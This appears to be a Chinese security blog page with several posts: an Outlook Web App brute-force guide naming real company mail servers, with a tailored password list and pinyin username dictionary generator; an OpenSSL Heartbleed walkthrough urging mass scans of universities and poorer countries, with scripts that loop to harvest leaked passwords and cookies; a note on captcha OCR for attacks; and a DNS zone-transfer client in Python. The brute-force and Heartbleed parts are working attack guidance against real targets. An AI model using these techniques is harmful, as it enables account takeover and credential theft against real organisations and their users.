Microsoft Outlook WebAPP暴力破解脚本

国内很多互联网公司都在使用Outlook Web APP:

http://email.baidu.com    https://mail.letv.com/      https://mail.youku.com/    http://mail.renren-inc.com    https://mail.sohu-inc.com/    https://mail.ifeng.com/      https://mail.iqiyi.com/     https://mail.ganji.com/   https://mail.meizu.com/

攻击者可以从登陆页直接尝试暴力破解。如果能预先猜解到用户名,则破解的效率更高。

这里密码复杂度要求比较高,难于使用一般的弱口令字典来破解,最好是自己定义一个列表。

比如说破解人人网的账号,可以用类似:

<user>123
<user>123456
<user>RENREN123
<user>@renren.com
<user>.renren.com
<user>@renren
<user>@RENREN
<user>_renren
renren@<user>
renren_<user>
renren@123
www.renren.com
renren.com
1234qwer
renren123456
renren666666
123.com
renren520
renrenMAIL123456

对提供的脚本做一点说明:

Outlook.py只有一个工作线程. Outlook_threaded.py是多线程版本.

测试发现多线程版本在SSL handshake时可能出错,比如破解email.baidu.com时。这跟服务器的稳定性有关。 目前的处理方法是出错后重试!

使用方法:

Outlook.py domain users passwords
domain是站点域名,users和passwords是字典文件的名称。
Outlook_threaded.py domain users passwords threads
再额外提供一个线程数,根据服务器的稳定性自行调整,程序不是自适应的

去GitHub获取脚本

暴力破解常用的双拼音和三拼字典

国人的姓名多数是双拼或3拼。 对于用户量巨大的系统,暴力破解可以直接用拼音字典来猜解用户名。单字的拼音如下表:

a ai an ang ao 
ba bai ban bang bao bei ben beng bi bian biao bie bin bing bo bu 
ca cai can cang cao ce cen ceng cha chai chan chang chao che chen cheng chi chong chou chu chuai chuan chuang chui chun chuo ci cong cou cu cuan cui cun cuo 
da dai dan dang dao de dei deng di dian diao die ding diu dong dou du duan dui dun duo 
e en er 
fa fan fang fei fen feng fo fou fu 
ga gai gan gang gao ge gei gen geng gong gou gu gua guai guan guang gui gun guo 
ha hai han hang hao he hei hen heng hong hou hu hua huai huan huang hui hun huo 
ji jia jian jiang jiao jie jin jing jiong jiu ju juan jue jun
ka kai kan kang kao ke ken keng kong kou ku kua kuai kuan kuang kui kun kuo 
la lai lan lang lao le lei leng li lia lian liang liao lie lin ling liu long lou lu luu luan luue lun luo 
ma mai man mang mao me mei men meng mi mian miao mie min ming miu mo mou mu 
na nai nan nang nao ne nei nen neng ni nian niang niao nie nin ning niu nong nu nuu nuan nuue nuo 
o ou 
pa pai pan pang pao pei pen peng pi pian piao pie pin ping po pou pu 
qi qia qian qiang qiao qie qin qing qiong qiu qu quan que qun 
ran rang rao re ren reng ri rong rou ru ruan rui run ruo 
sa sai san sang sao se sen seng sha shai shan shang shao she shei shen sheng shi shou shu shua shuai shuan shuang shui shun shuo si song sou su suan sui sun suo 
ta tai tan tang tao te teng ti tian tiao tie ting tong tou tu tuan tui tun tuo 
wa wai wan wang wei wen weng wo wu 
xi xia xian xiang xiao xie xin xing xiong xiu xu xuan xue xun 
ya yai yan yang yao ye yi yin ying yong you yu yuan yue yun 
za zai zan zang zao ze zei zen zeng zha zhai zhan zhang zhao zhe zhei zhen zheng zhi zhong zhou zhu zhua zhuai zhuan zhuang zhui zhun zhuo zi zong zou zu zuan zui zun zuo

生成双拼和3拼字典文件,代码如下:

#encoding=gbk

words = []
with open('pinyin.txt') as inFile:
    while True:
        word = inFile.readline().strip().split(' ')
        if len(word) < 2: break
        words += word

with open('2_words_pinyin.txt', 'w') as f2:
    with open('3_words_pinyin.txt', 'w') as f3:
        for w1 in words:
            for w2 in words:
                f2.write(w1 + w2 + '\n')
                for w3 in words:
                  f3.write(w1 + w2 + w3 + '\n')  

因为3拼文件太大,笔者将其压缩上传到网盘:http://pan.baidu.com/s/1hqKH8gc

双拼字典下载:2_words_pinyin

OpenSSL Heartbleed “心脏滴血”漏洞简单攻击示例

OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一把。

单纯从攻击的角度讲,我已知道的,网上公开的扫描工具有:

1.  Nmap脚本ssl-heartbleed.nse: http://nmap.org/nsedoc/scripts/ssl-heartbleed.html

nmap -sV --script=ssl-heartbleed 

2. Jared Stafford的testssl.py: https://gist.github.com/sh1n0b1/10100394

3. CSHeartbleedScanner:    http://www.crowdstrike.com/community-tools/

若想要批量寻找攻击目标,可以直接扫目标IP段的443端口。高校和互联网不发达的国家都是比较容易攻击的。

得到活跃主机IP地址,再导入上述扫描器。

针对特定的某个攻击目标,可以查看已经读到的内容,利用正则表达式不停拉抓账号密码

也可以根据关键词,不停抓下cookie,账号等。

将testssl.py的代码修改为不输出偏移地址和非ascii字符,找到hexdump函数,修改为:

def hexdump(s):
    pdat = ''
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

    print '%s' % (pdat.replace('......', ''),)
    print

这样就只输出有用的ascii字符串了。

 1. 正则表达式抓账号

import os
import re
import time

accounts = []
while True:
    result = os.popen('openssl.py ').read()
    matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
    for match in matches:
        if match not in accounts:
            accounts.append(match)
            with open('accounts.txt', 'a') as inFile:
                inFile.write(str(match) + '\n')
            print 'New Account:', match
    time.sleep(1.0)

脚本间隔一秒钟读一次数据,发现正则匹配的账号密码,若之前没出现过,就写入accounts.txt文件。

这样可以避免重复写入同样的账号、密码。

2. 根据关键词抓数据

如果并不确定后台地址,也不知道登录请求、Cookie的格式,直接用关键词抓账号就行了。

类似下面的代码:

import os
import re
import time

accounts = []
while True:
    result = os.popen('openssl.py ').read()
    keywords = ['system', 'password', 'passwd', 'admin']
    for word in keywords:
        if result.find(word) > 0:
            print 'new data', time.asctime()
            with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
                f.write(result)
            break
    time.sleep(1.0)

这样一旦返回的数据中存在关键词passwd、password等,就会把数据写入data_1文件夹下面,以时间命名。

Google Drive OCR并不适合用于验证码识别

之前看到有人说Google API可以用来做图片验证码识别,想到今后或许能长期偷懒,就简单测试了下,最后发现,其实是难以用于实际攻击的。不过做了工作,还是总结一下。

1. Google Drive API快速入门

首先安装Google Client Library:

pip install --upgrade google-api-python-client

API Reference没详看,直接在Google Developers搜OCR,找到了Files: insert 方法。

它的作用是上传并创建新文档。可选参数OCR可以设定是否要应用OCR,识别图片和PDF中的文字。

阅读 Quickstart: Run a Drive App in Python 上手,有兴趣还可以看看底部的视频。 示例代码地址:goo.gl/dxuuB

https://console.developers.google.com/创建一个新的Project

在新建的Project下创建Client ID,如下图所示:

credentials 继续阅读Google Drive OCR并不适合用于验证码识别

DNS域传送漏洞(五) — python实现DNS axfr客户端[Response]

前文介绍了生成DNS查询,本文继续介绍如何解码DNS服务器发回的响应文本。

首先应该明确,响应和查询的基本格式是一样的,都是由5个部分组成:header、Question、Answer、 Authority、Additional。并且,Header的格式也完全相同。

检查RCODE的值

拿到Response首先应该检查RCODE,因为域传送多半并不成功。检查第3个字节的最后四位即可:

    RCODE = struct.unpack('!H', response[2:4] )[0] & 0b00001111 # last 4 bits is RCODE
    if RCODE != 0:
        print 'Transfer Failed. %>_<%'
        sys.exit(-1)

这里是拿两个字节和二进制数00001111取and。

读Answer RRs的值

RRs是指Resource Record,资源记录。 该值位于第7、8字节。

跳过Header和Query

在前文查询消息中,已经记录了Query区块的长度,用到这里直接跳到Answers区块:

OFFSET = 12 + LEN_QUERY + 4    # header = 12, type + class = 4

12是Header的长度。

读取所有记录

Answer记录的基本格式是:

      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                                               |
    /                                               /
    /                      NAME                     /
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     CLASS                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TTL                      |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                   RDLENGTH                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--|
    /                     RDATA                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

这里很关键的是Name字段。它有两种格式:

  1. 跟前一篇提到的Query格式相同,直接用Label序列表示。
  2. 用一个偏移量,来指示前文中已经出现的某个位置。实际上,这是为了压缩文本,前面已经出现过的文本,不再重复。

如果是第二种表示法,则起始的两个字节是:

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 1 消息内部的偏移量

于是,只需要检查前两个字节,就可以知道Name采用了何种表示法了。如果为11,就跳到对应的偏移位置去读域名。

当Type的值为1,即A记录时,RDLENGTH的值是4,并且RDATA表示的是4个字节的IP地址。循环读取记录直到消息结尾。

笔者只处理了A记录:

dns_axfr_client

建议在编码的时候,一定要使用WireShark抓包,并且对照分析各个section的内容。

去Github获取代码
参考链接: http://www.zytrax.com/books/dns/ch15/

DNS域传送漏洞(四) — python实现DNS axfr客户端[Query]

在DNS查询中,axfr类型是Authoritative Transfer的缩写,指请求传送某个区域的全部记录。

前面三篇日志中,笔者分别使用nmap、dig、nslookup来查询域传送记录。

本篇介绍自己动手,用python写一个简单的DNS客户端,仅实现axfr查询,并且只处理A记录。

DNS消息的格式

DNS请求和响应,都是由5个区块组成的,如下图所示:

    +---------------------+
    |        Header       |
    +---------------------+
    |       Question      | the question for the name server
    +---------------------+
    |        Answer       | RRs answering the question
    +---------------------+
    |      Authority      | RRs pointing toward an authority
    +---------------------+
    |      Additional     | RRs holding additional information
    +---------------------+

axfr请求的包,只填充header和Question区块就可以了。

Header区块的格式

Header的格式是这样的: 继续阅读DNS域传送漏洞(四) — python实现DNS axfr客户端[Query]